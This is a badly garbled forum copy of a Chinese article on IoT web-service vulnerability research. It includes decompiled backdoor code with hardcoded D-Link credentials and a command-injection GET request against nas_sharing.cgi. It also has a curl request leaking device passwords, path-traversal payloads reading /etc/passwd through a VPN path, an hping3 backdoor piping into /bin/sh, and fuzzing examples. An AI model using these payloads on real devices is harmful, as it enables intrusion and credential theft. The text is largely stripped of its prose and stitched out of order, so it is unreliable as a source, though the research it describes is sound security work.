[16139] 2020-11-27_IOT漏洞研究:Web服务

文档创建者:s7ckTeam
浏览次数:10
最后更新:2025-01-18
2020-11-27_IOT漏洞研究:Web服务 I O T W e b W o K o u g h   F r e e B u f   2 0 2 0 - 1 1 - 2 7 N A S 便 w e b w e b I O T w e b I o T   W e b I O T   w e b + ( )   C G I ( )   ( ) 广 2 . 1   2 . 1 . 1   w e b I O T w e b s q l x s s c s r f s s r f x x e w e b I O T   w e b s s r f 2 . 1 . 2   便 ( ) I G D M P T D 5 3 4 1 3 r o o t   s h e l l I O T   w e b N A S N A S n a s _ s h a r i n g . c g i I D A L O A D 0 0 4 0 2 4 B 8                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r ( $ s p ) L O A D 0 0 4 0 2 4 B C                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ z e r o ( $ s p ) L O A D 0 0 4 0 2 4 C 0                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ z e r o + 4 ( $ s p ) L O A D 0 0 4 0 2 4 C 0 + 4                         l i             $ v 0 ,   2 L O A D 0 0 4 0 2 4 C 8                             s h             $ v 0 ,   0 x 3 0 + s o c k _ a d d r ( $ s p ) L O A D 0 0 4 0 2 4 C C                             l i             $ v 0 ,   0 x F F F F D 0 A 5   #   0 x d 0 5 a   =   5 3 4 1 3 L O A D 0 0 4 0 2 4 D 0                             s h             $ v 0 ,   0 x 3 0 + s o c k _ a d d r . s i n _ p o r t ( $ s p ) L O A D 0 0 4 0 2 4 D 4                             s w             $ z e r o ,   0 x 3 0 + s o c k _ a d d r . s i n _ a d d r ( $ s p ) s t r u c t   p a s s w d   * _ _ f a s t c a l l   r e _ B A C K D O O R ( c o n s t   c h a r   * a 1 ,   c o n s t   c h a r   * a 2 ) {         c o n s t   c h a r   * v 2 ;   / /   r 5 @ 1         c o n s t   c h a r   * v 3 ;   / /   r 4 @ 1         s t r u c t   p a s s w d   * r e s u l t ;   / /   r 0 @ 4         F I L E   * v 5 ;   / /   r 6 @ 5         s t r u c t   p a s s w d   * v 6 ;   / /   r 5 @ 7         { . . . }         i f   ( ! s t r c m p ( v 3 ,   " m y d l i n k B R i o n y g " )           & &     ! s t r c m p ( ( c o n s t   c h a r   * ) & v 9 ,   " a b c 1 2 3 4 5 c b a " )   )         {                 r e s u l t   =   ( s t r u c t   p a s s w d   * ) 1 ;         }         e l s e         {         v 5   =   ( F I L E   * ) f o p e n 6 4 ( " / e t c / s h a d o w " ,   " r " ) ;         { . . . }         i f   (   ! s t r c m p ( r e s u l t - > p w _ n a m e ,   v 3 )   )         {
( m y d l i n k B R i o n y g / a b c 1 2 3 4 5 c b a ) 使 s t r c p y ( ) 使 2 . 1 . 2   ( ) ( ) h t t p ( s ) e r r o r d e b u g l a s t _ m o d i f i e d h t t p ( s )   h e a d e r h t t p   r e s p o n s e   h e a d e r w e b d e b u g e r r o r w e b I O T 访 ( p n g J S ) l a s t _ m o d i f i e d S Q L I O T 访 访 访 R C E o p e n w r t 便 c g i x m l                 s t r c p y ( & s ,   v 6 - > p w _ p a s s w d ) ;                 f c l o s e ( v 5 ) ;                 s t r c p y ( & d e s t ,   ( c o n s t   c h a r   * ) & v 9 ) ;                 v 7   =   ( c o n s t   c h a r   * ) s u b _ 1 6 0 3 C ( & d e s t ,   & s ) ;                 r e t u r n   ( s t r u c t   p a s s w d   * ) ( s t r c m p ( v 7 ,   & s )   = =   0 ) ;         }         { . . . } } G E T   / c g i - b i n / n a s _ s h a r i n g . c g i ? d b g = 1 & c m d = 5 1 & u s e r = m y d l i n k B R i o n y g & p a s s w d = Y W J j M T I z N D V j Y m E & s t a r t = 1 & c o u n t = 1 ; { y o u r   c m d } ; #   c u r l   - d   S E R V I C E S = D E V I C E . A C C O U N T   h t t p : / / { i p } / g e t c f g . p h p < ? x m l   v e r s i o n = " 1 . 0 "   e n c o d i n g = " u t f - 8 " ? >         < p o s t x m l >                 < . . . >                 < u i d > U S R - < / u i d >                 < n a m e > a d m i n < / n a m e >
2 . 1 . 3   穿 穿 穿 访 访 穿 h t t p s : / / w w w . h a c k i n g a r t i c l e s . i n / c o m p r e h e n s i v e - g u i d e - o n - p a t h - t r a v e r s a l / 穿 穿 广 l a n g 穿 使 l a n g 0 x 4 0 . j s o n 0 x 4 0 s n p r i n t f p o c V P N 穿 V P N 广 使 使 h t m l 5 V P N 2 . 1 . 4   a l e r t ~ ~ ~ s y s t e m ; & & w e b p o r t s y s t e m p i n g / t a r c e / h p i n g 3 h p i n g 3 F l o o d h p i n g 3 h t t p s : / / m e d i u m . c o m / @ i p h e l i x / h p i n g - t i p s - a n d - t r i c k s - 8 5 6 9 8 7 5 1 1 7 9 f                 < u s r i d > < / u s r i d >                 < p a s s w o r d > a d m i n 1 3 2 4 < / p a s s w o r d >                 < . . . >         < / p o s t x m l > s n p r i n t f ( s ,   0 x 4 0 ,   " / m i g a d m i n / l a n g / % s . j s o n " ,   l a n g ) ; / l a n g   m i g a d m i n / l a n g   = / . . / . . / . . / . . / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / b i n / s h   / / . . / . . / . . / . . / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / b i n / s h . j s o n / d a n a - n a / . . / d a n a / h t m l 5 a c c / g u a c a m o l e / . . / . . / . . / . . / . . / . . / e t c / p a s s w d ? / d a n a / h t m l 5 a c c / g u a c a m o l e / i n t   _ _ f a s t   s u b _ 9 4 2 4 ( i n t   p o r t ) {         i n t   v 1 ;   / /   r 5         c h a r   s ;   / /   [ s p + 0 h ] [ b p - 1 1 4 h ]         v 1   =   p o r t ;         m e m s e t ( & s ,   0 ,   0 x 1 0 0 u ) ;         s p r i n t f ( & s ,   " l i g h t y _ s s l   - p   % s " ,   v 1 ) ;         s y s t e m ( & s ) ;         r e t u r n   0 ; }
h p i n g 3 b a c k d o o r s e c r e t c o m m a n d s _ f i l e s h e l l h p i n g 3 S S R F 2 . 1 . 4   I O T   w e b h t t p ( s ) h t t p   c g i u V a r 1 H T T P _ C O O K I E u i d a c S t a c k 1 0 6 4 j a v a s c r i p t j s f l a g W e b V P N H T M L J a v a S c r i p t 使 0 x 2 0 0 0 I O T 使 p w n   c h e c k s e c w e b 2 . 2   2 . 2 . 1   s y s t e m s t r c p y / s n p r i n t f   R I P S F o r t i f y   S C A 使 I D A P A G a l a x y L a b G h i d r a h t t p s : / / g i t h u b . c o m / P A G a l a x y L a b / g h i d r a _ s c r i p t s 便 h p i n g 3   - I   e t h 1   - 9   s e c r e t   |   / b i n / s h h p i n g 3   - R   1 9 2 . 1 6 8 . 1 . 1 0 0   - e   s e c r e t   - E   c o m m a n d s _ f i l e   - d   1 0 0   - c   1 { . . . } _ _ f d   =   f i l e n o ( _ _ s t r e a m ) ; l o c k f ( _ _ f d , 0 , 0 ) ; f c l o s e ( _ _ s t r e a m ) ; r e m o v e ( " / v a r / t m p / t e m p . x m l " ) ; u V a r 1   =   s o b j _ g e t _ s t r i n g ( i V a r 5 ) ; s p r i n t f ( a c S t a c k 1 0 6 4 ,   " / h t d o c s / w e b i n c / f a t l a y . p h p n p r e f i x = % s / % s " , " / r u n t i m e / s e s s i o n " u V a r 1 ) ; x m l d b c _ e p h p ( 0 , 0 , a c S t a c k 1 0 6 4 , s t d o u t ) ; i f   ( _ _ f d _ 0 0   = =   0 )   g o t o   L A B _ 0 0 4 0 9 9 c c ; _ _ s 1   =   ( c a h r   * ) 0 x 0 ; { . . . m e m c p y ( b u f f e r ,   j s _ b u f ,   j s _ b u f _ l e n ) ;
2 . 2 . 2   2 . 2 . 2 . 1   S c a n w e b a p p s c a n b u r p s u i t e 2 . 2 . 2 . 2   f u z z f u z z f u z z f u z z ( )   访 ( ) ( )   ( ) ( )   f u z z ( ) f u z z ( ) f u z z ( ) h t t p s : / / f u z z i n g - s u r v e y . o r g / b u r p s u i t e i n t r u d e ( ) b u g f u z z w f u z z w f u z z w e b f u z z P a y l o a d f u z z P a y l o a d / k a l i u s e r n a m e = & p a s s w o r d = 使 b u r p s u i t e i n t r u d e f u z z f u z z w f u z z 使 w e b b o o f u z z w f u z z b o o f u z z p y t h o n f u z z s u l l e y b o o f u z z f u z z w f u z z   - w   u s e r L i s t   - w   p w d L i s t   - d   " u s e r n a m e = F U Z Z & p a s s w o r d = F U Z 2 Z "   h t t p : / / 1 2 7 . 0 . 0 . 1 / l o g i n . p h p d e f   d e f i n e _ p r o t o _ s t a t i c ( s e s s i o n ) :         s _ i n i t i a l i z e ( n a m e = " R e q u e s t " )         w i t h   s _ b l o c k ( " R e q u e s t - L i n e " ) :                 s _ g r o u p ( " M e t h o d " ,   [ " G E T " ,   " H E A D " ,   " P O S T " ,   " P U T " ,   " D E L E T E " ,   " C O N N E C T " ,   " O P T I O N S " ,   " T R A C E " ] )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 1 " )                 s _ s t r i n g ( " / i n d e x . h t m l " ,   n a m e = " R e q u e s t - U R I " )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 2 " )                 s _ s t r i n g ( " H T T P / 1 . 1 " ,   n a m e = " H T T P - V e r s i o n " )                 s _ s t a t i c ( " r n " ,   n a m e = " R e q u e s t - L i n e - C R L F " )                 s _ s t r i n g ( " H o s t : " ,   n a m e = " H o s t - L i n e " )
b o o f u z z   h t t p d e f i n e _ p r o t o _ s t a t i c h t t p ( ) f u z z f u z z 西 x 8 6 ( - 6 4 ) f u z z I O T ( )   s y s l o g d m e s g d e b u g ( )   g d b 便 . g d b i n i t g d b ( )   Q E M U u n i c o r n Q i l i n g I O T f u z z Q i l i n g f u z z G o l a n g C P U f u z z H o n g f u z z h t t p s : / / g i t h u b . c o m / g o o g l e / h o n g g f u z z H o n g g f u z z A F L l i b f u z z e r G o o g l e f u z z e r H o n g g f u z z   N e t D r i v e r   f u z z   s o c k e t 婿 m a i n H F N D _ F U Z Z I N G _ E N T R Y _ F U N C T I O N h f u z z - c l a n g   l i b h f n e t d r i v e r . a 使 _ H F _ T C P _ P O R T f u z z e r t c p A F L ( ) h t t p s : / / g i t h u b . c o m / g o o g l e / A F L A F L A F L q e m u u n i c o r n f u z z A F L w e b A F L n e t A F L   f u z z h t t p s : / / g i t h u b . c o m / a f l n e t / a f l n e t a f l - c g i - w r a p p e r A F L   f u z z   w e b   C G I h t t p s : / / g i t h u b . c o m / f l o y d - f u h / a f l - c g i - w r a p p e r 3 . 2 . 2 . 3   g d b p y t h o n p e d a / g e f / p w n d b g b i n a r y g i t h u b g d b   s t a t i c h t t p s : / / g i t h u b . c o m / h u g s y / g d b - s t a t i c I D A   p r o a t t a c h g d b s e r v e r                 s _ s t r i n g ( " H o s t : " ,   n a m e = " H o s t - L i n e " )                 s _ d e l i m ( "   " ,   n a m e = " s p a c e - 3 " )                 s _ s t r i n g ( " e x a m p l e . c o m " ,   n a m e = " H o s t - L i n e - V a l u e " )                 s _ s t a t i c ( " r n " ,   n a m e = " H o s t - L i n e - C R L F " )         s _ s t a t i c ( " r n " ,   " R e q u e s t - C R L F " ) i n t   m a i n ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         { . . . } } H F N D _ F U Z Z I N G _ E N T R Y _ F U N C T I O N ( i n t   a r g c ,   c h a r   * a r g v [ ] ) {         { . . . } } _ H F _ T C P _ P O R T = 8 8 8 8   h o n g g f u z z   - f   i n p u t   - -   . / v u l n
2 . 3   I O T   w e b 2 . 3 . 1   w e b I O T   w e b w e b ( ) w e b a p a c h e / n g n i x / w e b a p p ( w e b ) 访 ( ) ( ) D i r b u s t e r / d i r s e a r c h w e b 访 ( ) w e b ( ) 访 & ( w e b ) ( s s l - v p n / h t m l 5 / g u a c a m o l e / ) 2 . 3 . 2   访 ( ) a p p s c a n b u r p s u i t e I D A / g h i d r a ( ) w e b 访 ( ) ( ) I D A / g h i d r a ( ) ( ) ( ) f u z z 2 . 3 . 3   访 a p p s c a n b u r p s u i t e
/ f u z z ( ) h t t p   h e a d e r 穿 w e b r p c / s o c k e t / s u i d / 2 . 4   I O T   w e b w e b w e b w e b I O T   w e b w e b I O T   w e b

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则